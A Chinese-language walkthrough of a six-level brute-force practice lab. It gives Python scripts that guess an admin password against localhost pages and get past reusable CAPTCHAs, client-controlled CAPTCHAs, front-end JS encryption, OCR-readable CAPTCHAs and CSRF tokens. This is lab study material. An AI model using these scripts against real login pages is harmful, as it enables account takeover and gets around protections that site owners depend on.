暴力破解靶场

项目地址 https://github.com/3sNwgeek/BruteForc_test

level-1_hint:签到题

BURP 抓包使用intruder 模块,TOP 1000 字典,成功!

level-2_hint:验证码复用

验证码不会因为登录失败而失效,所以可以通过抓包重放来绕过登录验证码。

依然 BURP 抓包使用intruder 模块,TOP 1000 字典,成功!

level-3_hint:验证码操纵

验证码前端可控,首先验证码参数,查看验证码的请求参数可发现,验证码中出现的字母和数字是由前端传入的。

通过对参数内容进行测试,或者查看验证码文件的源码。可得出结论,但 Ccode 参数 为 111 时,验证码的值为 1,11,111,1111 四种情况中的一种。

同时,这里验证码输入错误后,并没有重置验证码,只有在验证码输入正确,密码错误时,才会重置验证码。所以这里就存在了验证码可以被爆破的情况。

这里爆破采用 Python 脚本,TOP 1000 字典。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

code_url = 'http://127.0.0.1/BruteForc_test/yzm2.php?Ccode=111'
login_url = 'http://127.0.0.1/BruteForc_test/LoginMid2.php'
pass_list = open('./top1000.txt', 'r')
for line in pass_list:
s = requests.session()
s.get(code_url)
for i in range(0, 4):
code_list = ['1', '11', '111', '1111']
data = {
'name': 'admin',
'password': line.strip(),
'yzm': code_list[i]
}
html = s.post(login_url, data=data)
if '登陆成功' in html.text:
print('password: ' + line)
print(html.text)
exit()
if '登陆失败' in html.text:
break

level-4_hint:突破前端加密

这关在 post 数据包时没有直接发送用户名了密码,而是在前端将用户名和密码进行了加密之后再传输,所以就不能直接抓包使用 burp 的 intruder 模块进行抓包重返。

因为是 JS 加密的,所以可以在前端找到 JS 的加密代码。找到代码后,我们可以使用 Python 来调用 JS 加密代码和不同的 username、password,生成不同的 login_key 来登录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import execjs
import requests

def include_js(path): # 导入前端加密用的 JS 文件内容
js = open(path)
js_code = '';
for line in js:
js_code += line
return js_code

pass_list = open('./top1000.txt','r')
url = 'http://127.0.0.1/BruteForc_test/test.php'
for line in pass_list:
ctx = execjs.compile(include_js('./encry.js'))
login_key = ctx.call("form_login",line.strip()) # 调用 js 中的 form_login 函数,产生登录秘钥
data = {
'login_key': login_key
}
html = requests.post(url,data=data)
if '暴力破解成功' in html.text:
print('[succeed] password: '+line.strip())
exit()

这里使用 python3 的 execjs 库来调用 JS 代码。关于这个库,可以参考 python3调用js的库之execjs

level-5_hint:验证码_OCR识别

这里登录不存在前面4关所存在的问题,但是这里验证码比较清晰,可以使用 python 的 pytesseract 库来进行 OCR 识别。Python3使用 pytesseract 进行图片识别

识别的一个流程为

  1. 通过 request 请求获取验证码
  2. 使用 Pillow 库来对验证码进行降噪处理,提高图片清晰度,以提高 OCR 识别的准确率
  3. 安装 OCR 软件,使用 Python 的 pytesseract 库来调用 OCR,进行识别
  4. 取得验证码,提交登录
  5. 若出现验证码错误,使用当前尝试的密码,重新从 1 开始
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import pytesseract
from PIL import Image
import requests
from io import BytesIO

pass_list = open('./top1000.txt','r')
url = 'http://127.0.0.1/BruteForc_test/LoginHigh.php'
for line in pass_list:
while True: # 这里因为验证码识别存在错误的情况,所以每个密码都要测试多次,直到验证码识别正确为止
s = requests.session()
pytesseract.pytesseract.tesseract_cmd = 'C:/Program Files/Tesseract-OCR/tesseract.exe' # 设置OCR路径
response = s.get('http://127.0.0.1/BruteForc_test/yzm.php')
image = Image.open(BytesIO(response.content)) # 加载验证码
code = pytesseract.image_to_string(image) # 进行验证码 OCR识别
data = {
'name': 'admin',
'password': line.strip(),
'yzm': code
}
html = s.post(url,data=data) # 进行爆破尝试
print('[[-]error] :'+line.strip())
if '登陆成功' in html.text:
print('[[+]succeed] password is:'+line.strip())
exit()
if '验证码错误' not in html.text:
break

level-6_hint:滑动验证码识别

使用 python 脚本

虽然存在这个滑动验证码,但这个滑动验证并没起到阻止爆破的作用。

但这里存在一个预防 CSRF 的 token ,所以我们需要先请求一次首页,获取到 token 然后在请求时携带上 token 既可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
from bs4 import BeautifulSoup

url = 'http://127.0.0.1/BruteForc_test/hdyzma/'
login_url = 'http://127.0.0.1/BruteForc_test/hdyzma/welcome.php'
pass_list = open('./top1000.txt')
for line in pass_list:
s = requests.session()
html = s.get(url)
soup = BeautifulSoup(html.text,'html5lib')
tag = soup.find_all('input')
token = tag[2].get('value') # 获取 token
data = {
'name': 'admin',
'password':line.strip(),
'token' : token
}
html = s.post(login_url,data=data)
if '登陆成功' in html.text:
print('[[+]succeed] password is:' + line.strip())
exit()

使用 burp 宏

使用BurpSuite宏获取CSRF-TOKEN

看了这篇文章之后,才发现,原来 bp 还能这么用,又学到了 0.0

总结

主要熟悉了下 python 脚本的编写,但感觉编写的很不规范…就没有写成函数,类什么的….

还学到了几个新的库